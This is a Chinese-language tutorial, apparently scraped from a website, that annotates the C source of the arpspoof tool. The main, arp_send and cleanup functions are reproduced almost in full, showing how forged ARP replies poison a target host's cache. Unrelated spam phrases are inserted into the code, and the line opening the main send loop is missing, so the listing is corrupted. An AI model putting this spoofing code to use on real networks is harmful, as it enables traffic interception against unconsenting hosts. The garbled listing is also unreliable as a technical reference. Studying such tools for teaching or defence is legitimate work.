arpspoof原理分析源码分析

arpspoof原理分析源码分析从main函数开始
⾸先⼤家不要慌,我加了⽆数注释,这个⼯具的代码也不过400⾏⽽已。⾸先我们看⼀下main函数:为了避免⼤家看起来太紧张,我在源码的注释中加了详细的讲解,⽅便基础薄弱的同学理解:
1int main(int argc, char *argv[])
2 {
丙烯酸甲氧基乙酯3int c;
4char ebuf[PCAP_ERRBUF_SIZE];
5        intf = NULL;
6        spoof_ip = target_ip = 0;
7
8/**
9关于getopt这个函数我想做如下解释⼤家就可以读懂下⾯的函数的具体意思了:
10      1.getopt的⽤途:⽤于专门处理函数参数的。
11      2.getopt的⽤法:argc与argv直接是从main的参数中拿下来的,第三个参数描述了整个程序参数的命令要求
12具体的⽤法我们可以先理解为要求i,t这两个参数必须有值
13然后有具体值得参数会把值付给全局变量optarg,这样我们就能理解下⾯的while循环中的操作了
14*/
15while ((c = getopt(argc, argv, "i:t:h?V")) != -1) {
16
17switch (c) {
18
19case'i':
20                      intf = optarg;
21break;
22case't':
23/*
24      libnet_name_resolve是解析域名,然后把域名解析的结果形成ip地址返回到target_ip
25*/
26if ((target_ip = libnet_name_resolve(optarg, 1)) == -1)
27                            usage();
28break;
29default:
30                      usage();
31
32              }
33
34        }
35
36        argc -= optind;
37        argv += optind;
38
39if (argc != 1)
40              usage();
41
42if ((spoof_ip = libnet_name_resolve(argv[0], 1)) == -1)
四川人口与计划生育条例
43              usage();
44
45/*
46      pcap_lookupdev 顾名思义这个pcap库中的函数是⽤来寻本机的可⽤⽹络设备。
47下⾯的if语句是将如果intf(-i的参数为空就调⽤pcap_lookupdev来寻本机的⽹络设备)
48      ebuf就是error_buf⽤来存储错误信息
49*/
50if (intf == NULL && (intf = pcap_lookupdev(ebuf)) == NULL)
51              errx(1, "%s", ebuf);
52
53/*
54 libnet_open_link_interface这个函数存在于libnet库中,作⽤是打开intf指向的⽹络链路设备
55错误信息存⼊ebuf中。
56*/
57if ((llif = libnet_open_link_interface(intf, ebuf)) == 0)
58              errx(1, "%s", ebuf);
59
60/*
61下⾯语句的意思是如果target_ip为0或者是arp_find没有成功到target_ip
62那么提⽰错误
63*/
64if (target_ip != 0 && !arp_find(target_ip, &target_mac))
65              errx(1, "couldn't arp for host %s",
66      libnet_host_lookup(target_ip, 0));
67
68//这⾥关于信号的处理问题如果⼤家不是太清楚的话也可以跳过,
69//有兴趣的朋友,可以深⼊了解⼀下,因为这⾥不是本⽂重点,就不再赘述了
70        signal(SIGHUP, cleanup);
71        signal(SIGINT, cleanup);
72        signal(SIGTERM, cleanup);
73
75/*
76在这个for的循环⾥我们看到了我们希望看到的核⼼模块
77      arp_send⼤家⼀看这个函数便知道这个函数是⽤来发送伪造的arp数据包的,关于这个函数具体的⽤法我们稍后将会讨论
78*/
79              arp_send(llif, intf, ARPOP_REPLY, NULL, spoof_ip,
80                    (target_ip ? (u_char *)&target_mac : NULL),
81                    target_ip);
82              sleep(2);
83
84        }
85/* NOTREACHED */
86
87        exit(0);
88
89 }
看了main函数⾥⾯的各种东西,我们发现并没有什么⽞机,其实就是很简单的编程,具体的函数讲解都在注释中写出来了。核⼼函数的登场
接下来我们就看⼀下他是如何实现发送arp包的,其实知道⼤家看了源代码以后就知道,这真的没有什么技术含量
1/**
2这⾥是我们发送arp包的核⼼实现
3我先来介绍⼀下这个函数的参数⽅便⼤家理解
4参数⼀:libnet链路层接⼝,通过这个接⼝可以操作链路层
5参数⼆:本机的⽹卡设备intf(由-i指定或者pcap_lookupdev来获取)
北京电视台46参数三:arpop,来指定arp包的操作
7参数四:本机硬件地址
8参数五:本机ip
9参数六:⽬标硬件地址
10参数七:⽬标ip
11*/
12int arp_send(struct libnet_link_int *llif, char *dev,
13int op, u_char *sha, in_addr_t spa, u_char *tha, in_addr_t tpa)
14 {
15
16char ebuf[128];
17        u_char pkt[60];
18
19/*
20这⾥来通过链路层和⽹卡来获取dev对应的mac地址*/
21if (sha == NULL &&
22    (sha = (u_char *)libnet_get_hwaddr(llif, dev, ebuf)) == NULL) {
23
24return (-1);
25
26        }
27/*
28这⾥通过链路层和⽹卡来获取dev对应的ip地址
29*/
30
31if (spa == 0) {
32
33if ((spa = libnet_get_ipaddr(llif, dev, ebuf)) == 0)
34return (-1);
35              spa = htonl(spa); /* XXX */
36
37        }
38
39/*
40如果⽬标mac没有的话就被赋值为\xff\xff\xff\xff\xff\xff
41*/
42if (tha == NULL)
43              tha = "\xff\xff\xff\xff\xff\xff";
44
45/*
46libnet_ptag_t libnet_build_ethernet(
47u_int8_t*dst, u_int8_t *src,
48u_int16_ttype, u_int8_t*payload,
49u_int32_tpayload_s, libnet_t*l,
50libnet_ptag_t ptag )
51功能:
上海基本药物目录
52构造⼀个以太⽹数据包
53参数:
54dst:⽬的 mac
55src:源 mac嘎达梅林教案
56type:上层协议类型
57payload:负载,即附带的数据,可设置为 NULL(这⾥通常写 NULL)
58payload_s:负载长度,或为 0(这⾥通常写 0 )
59l:libnet 句柄,libnet_init() 返回的 libnet * 指针
60ptag:协议标记,第⼀次组新的发送包时,这⾥写 0,同⼀个应⽤程序,下⼀次再组包时,这个位置的值写此函数的返回值。
62成功:协议标记
63失败:-1
64*/
65        libnet_build_ethernet(tha, sha, ETHERTYPE_ARP, NULL, 0, pkt);
66/*
67 libnet_ptag_t libnet_build_arp(
68u_int16_t hrd, u_int16_t pro,
69u_int8_t hln, u_int8_t pln,
70u_int16_t op, u_int8_t *sha,
71u_int8_t *spa, u_int8_t *tha,
72u_int8_t *tpa, u_int8_t *payload,
73u_int32_t payload_s, libnet_t *l,
74libnet_ptag_t ptag )
75功能:
76构造 arp 数据包
77参数:
78hrd:硬件地址格式,ARPHRD_ETHER(以太⽹)
79pro:协议地址格式,ETHERTYPE_IP( IP协议)
80hln:硬件地址长度
81pln:协议地址长度
82op:ARP协议操作类型(1:ARP请求,2:ARP回应,3:RARP请求,4:RARP回应)
83sha:发送者硬件地址
84spa:发送者协议地址
85tha:⽬标硬件地址
86tpa:⽬标协议地址
87payload:负载,可设置为 NULL(这⾥通常写 NULL)
88payload_s:负载长度,或为 0(这⾥通常写 0 )
89l:libnet 句柄,libnet_init() 返回的 libnet * 指针
90ptag:协议标记,第⼀次组新的发送包时,这⾥写 0,同⼀个应⽤程序,下⼀次再组包时,这个位置的值写此函数的返回值。 91返回值:
92成功:协议标记
93失败:-1
94*/
95        libnet_build_arp(ARPHRD_ETHER, ETHERTYPE_IP, ETHER_ADDR_LEN, 4,
96              op, sha, (u_char *)&spa, tha, (u_char *)&tpa,
97              NULL, 0, pkt + ETH_H);
98
99        fprintf(stderr, "%s ",
100        ether_ntoa((struct ether_addr *)sha));
101
102
103
104/*
105下⾯的if和else是回显处理(也就是⼤家能看到的部分
106*/骅探网oej5
107if (op == ARPOP_REQUEST) {
108
109              fprintf(stderr, "%s 0806 42: arp who-has %s tell %s\n",
110                      ether_ntoa((struct ether_addr *)tha),
111                      libnet_host_lookup(tpa, 0),
112                      libnet_host_lookup(spa, 0));
113
114        }
115else {
116
117              fprintf(stderr, "%s 0806 42: arp reply %s is-at ",
118                      ether_ntoa((struct ether_addr *)tha),
119                      libnet_host_lookup(spa, 0));
120              fprintf(stderr, "%s\n",
121                      ether_ntoa((struct ether_addr *)sha));
122
123        }
124return (libnet_write_link_layer(llif, dev, pkt, sizeof(pkt)) == sizeof(pkt));
125
126 }
⼩尾巴
1/*
2下⾯我们发现挂载信号处理函数的都是cleanup函数,
3这个函数很好理解,就是在本机⽹络设备存在的条件下把包再发三遍,
4
5但是为什么要这么做呢?似乎⽴即中断也没什么不合理,
6我想作者的意思就是总要给⼀个缓冲的时间啊
7
8我们再仔细观察⼀下,在main的主循环中是sleep(2)
9在下⾯的循环中是sleep(1)
10
11*/
12void cleanup(int sig)
13 {
14
15int i;
16
17if (arp_find(spoof_ip, &spoof_mac)) {
18
19for (i = 0; i < 3; i++) {
20
21/* XXX - on BSD, requires ETHERSPOOF kernel. */
22
23/*上⾯这条注释是源码的作者加的,意思是说在BSD系统中需要ETHERSPOOF的第三⽅内核模块*/
24                      arp_send(llif, intf, ARPOP_REPLY,
25                            (u_char *)&spoof_mac, spoof_ip,
26                            (target_ip ? (u_char *)&target_mac : NULL),
27                            target_ip);
28                      sleep(1);
29
30              }
31
32        }
33        exit(0);
34
35 }

本文发布于:2024-09-22 23:19:49,感谢您对本站的认可!

本文链接:https://www.17tex.com/xueshu/214733.html

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。

标签:函数   参数   地址   看到   协议   本机   发送
留言与评论(共有 0 条评论)
   
验证码:
Copyright ©2019-2024 Comsenz Inc.Powered by © 易纺专利技术学习网 豫ICP备2022007602号 豫公网安备41160202000603 站长QQ:729038198 关于我们 投诉建议